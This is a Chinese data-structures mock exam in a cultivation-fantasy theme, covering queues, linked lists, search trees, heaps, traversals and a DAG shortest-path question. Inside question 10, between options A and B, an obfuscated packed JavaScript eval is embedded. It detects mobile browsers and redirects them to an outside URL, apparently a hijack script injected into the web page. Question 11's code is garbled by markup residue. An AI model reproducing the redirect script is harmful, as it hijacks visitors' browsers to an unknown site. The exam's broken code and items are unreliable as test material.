《408仙考·数据结构模拟卷》
考试时长：半炷香（30分钟）
仙门：？？？
考生：？？？
一、选择题
1、某修士修《九转锻脉诀》，需将丹田九缕异种灵气（a1至a9）依序导入心脉。他以“灵气线性暂存法阵”（仅允尾插灵气、头移灵气）收纳灵气，操作如下：
尾插a1,a2,a3；头移一缕；尾插a4,a5；头移一缕；尾插a6, a7, a8；头移一缕；头移一缕；尾插a9；问：第六步移出的灵气是？
A)a2
B)a4
C)a5
D)a3
2、某聚灵阵“核心符文链”以带头节点单链表存储（头节点无符，余符值互异且递增有序）。现施仙法：
q=p->next;//p指向某有效灵根节点
p->next=q->next;
free(q);
问：此术会破坏链表的何种规则？
A)仅破坏“符值互异”
B)仅破坏“符值递增”
C)两规皆破
D)两规皆存
3、构建“五行归元平衡树”（二叉搜索树），依次灌入灵气值：25,18,40,6,21,33,58,12。问：树成后，根节点的左子树中，灵气值最大的节点是多少？
A)18
B)21
C)25
D)40
4、驱除“心魔杂念链表”的仙法如下（链表带头节点，至少含一个心魔节点）：
void Exorcise(LNode *head) {
LNode *p = head, *q;
while (p->next != NULL) {
q = p->next;
p->next = q->next;
free(q);
p = p->next;
}
}
问：施法后，链表中剩余何种心魔？
A)仅头节点
B)仅首心魔
C)所有奇数序心魔
D)所有偶数序心魔
5、凝丹法阵初始为空，施诀序列：压灵(1),压灵(2),释丹(),压灵(3),压灵(4),释丹(),释丹(),压灵(5),释丹(),释丹()
问：不可能出现的“释丹序列”是？
A)2,4,3,5,1
B)2,3,4,5,1
C)4,3,2,5,1
D)4,5,3,2,1
6、某上古灵植的“灵脉中巡迹”为：D,G,B,A,E,H,C,F；
“灵源后注迹”为：G,D,B,H,E,F,C,A。
问：该灵植的叶节点（无枝之叶）蕴含哪些灵纹？
A)G,H,F
B)D,B,H,F
C)G,D,B,H,F
D)D,G,H,F
7、一无向连通“灵脉网”共有101条灵脉。
问：维系此网所需的最少“灵穴枢纽”数是多少？
A)11
B)12
C)13
D)14
8、“护山大阵核心图”以邻接矩阵存储，有效连接聚集于主对角线附近带状区域。问：欲进行“灵气拓扑排序”，最应使用何种辅助结构？
A)栈
B)队列
C)二叉
D)哈希表
9、将灵蕴序列[6,9,4,2,8,5,7]筑为“小灵蕴根堆”（根节点值最小）。
问：此堆的层次遍历序列是？
A)2,6,4,9,8,5,7
B)2,4,5,6,8,9,7
C)2,4,5,9,8,6,7
D)2,6,5,9,8,4,7
10、某“灵药甄选树”的先序遍历序列为：50,30,20,40,70,60,80。
问：在树中搜索灵蕴值60，需经过哪些节点？
A)50,70,60</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817775|175396||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
B)50,30,40,70,60
C)50,60
D)50,30,70,60
11、空间坐标压缩仙法如下：
voidpress(int coords[], int n) {
int i = 0, j = 0;
while (i < n)="">
coords[j =coords[i];
j++;
int k=i+1;
while(k < n="" &&="" coords[k]="">
i=k;
}
return j;//返回新坐标数
}
输入坐标序列：[1,1,2,3,3,3,3,4,4]
问：压缩后的序列是？
A)1,2,3,4
B)1,1,2,3,4,4
C)1,2,3,3,4
D)1,2,3,4,4
二、算法题（15分）
“心魔链”定义如下：
typedef struct DemonNode {
int heartSeedVal; // 心魔种值（负为恶念）
struct DemonNode *next; // 后继心魔
} DemonNode,*DemonList;
编写仙法void ExorciseChain(DemonList L)：
功能：诛除带头节点链表L中所有种值为负的恶念心魔，保留非负节点顺序。
三、应用题（15分）
万仙城需计算从核心安全区（源点S）到所有避难区（顶点V）的最短通行时间。已知：
1.交通图为有向无环图(DAG)，邻接矩阵存储（矩阵元素为时间，∞表无通路）。
2.已获该图的一个拓扑序列T。
问：基于拓扑序列T，设计高效仙法求S到所有顶点的最短时间。